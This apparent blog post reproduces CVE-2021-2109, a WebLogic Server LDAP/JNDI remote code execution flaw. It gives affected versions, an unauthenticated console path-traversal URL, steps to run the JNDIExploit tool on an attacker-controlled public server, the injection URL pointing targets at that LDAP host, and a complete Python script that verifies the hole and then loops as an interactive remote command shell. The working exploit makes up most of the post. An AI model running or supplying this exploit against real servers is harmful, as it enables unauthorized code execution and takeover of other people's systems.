zoukankan      html  css  js  c++  java
  • weblogic LDAP远程代码执行 CVE-2021-2109(附带poc)

    声明

    本文章所有内容请勿用作违法用途,否则后果自负

    漏洞影响版本

    WebLogic Server 10.3.6.0.0

    WebLogic Server 12.1.3.0.0

    WebLogic Server 12.2.1.3.0

    WebLogic Server 12.2.1.4.0

    WebLogic Server 14.1.1.0.0

    漏洞复现

    搭建实验环境,我这里直接使用vulhub里weblogic CVE-2020-14882的环境

    访问http://192.168.2.131:7001,出现以下界面说明搭建成功

     访问以下路径,如果出现未授权访问的情况,证明可以利用

    http://192.168.2.131:7001/console/css/%252e%252e%252f/consolejndi.portal

     启动ldap脚本

    在一台公网服务器上(目标主机能通的服务器)启动ldap脚本

    下载地址

    https://github.com/feihong-cs/JNDIExploit

    下载好后在服务器上启动

    java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)

     命令执行

    /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

    注意,ldap地址的第三个点儿是分号

     编写poc

    简单写个poc,需要循环执行命令,还有输入ladp地址的时候打那个分号挺麻烦的,按照正常地址输入让程序自己成分号

    替换分号,输入的时候做个切片替换拼接一下,付给一个变量再往下传

     目标地址和ldap地址接收完以后,直接拼接url发包就可以了,headers里写上UA和要执行的命令

     循环执行命令设置上退出键

     成品如下

    import requests
    
    def README():
        print("##################################################")
        print("                 CVE-2021-2109                    ")
        print("    目标地址实例:http://xxx.xxx.xxx.xxx:7001       ")
        print("    LDAP地址实例:ldap://xxx.xxx.xxx.xxx:1389       ")
        print("                by xuanlv                         ")
        print("##################################################")
        
    
    def check(target,ldapadd):
    
        ipsplit = ldapadd.split(".")
        portsplit = ldapadd.split(":")
        ldapip = ipsplit[0]+"."+ipsplit[1]+"."+ipsplit[2]+";"+ipsplit[3]
        
        vulurl = "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldapip)
        target_url = target + vulurl
        headers={
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36",
            "cmd":"whoami"
        }
        response = requests.get(target_url,headers=headers,verify=False,timeout=5)
        if response.status_code == 200:
            print("[+]存在漏洞")
            print("继续执行命令,输入exit退出")
            while True:
                cmd = input("Cmd >>>")
                if cmd =="exit":
                    break
                else:
                    headers={
            "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36",
            "cmd":cmd
        }
                    response = requests.get(target_url,headers=headers,verify=False,timeout=5)
                    retext = response.text
                    print(retext)
        else:
            print("[-]漏洞不存在")
        
    
    if __name__ == "__main__":
        README()
        target = input("请出入目标地址:")
        ldapadd = input("请输入ldap地址:")
        check(target,ldapadd)

    效果展示

     参考文献

    https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ

  • 相关阅读:
    sessionStorage 、localStorage 和 cookie 之间的区别 及共同点:
    [转]css文件和js文件后面带一个问号
    Asp.net中动态设置标题Title,Keyword,Descripton标签的方法
    【11.7校内测试】【倒计时3天】【不想写题解】
    【洛谷】1600:天天爱跑步【LCA】【开桶】【容斥】【推式子】
    【11.6校内测试】【倒计时4天】【找规律?思维】【二分+倍增】
    【洛谷】3960:列队【Splay】
    CF733F Drivers Dissatisfaction【链剖】【最小生成树应用】
    【11.5校内测试】【倒计时5天】【DP】【二分+贪心check】【推式子化简+线段树】
    【11.2晚校内测试】【装桶模拟】【单调栈】
  • 原文地址:https://www.cnblogs.com/xuanlvsec/p/14341151.html
Copyright © 2011-2022 走看看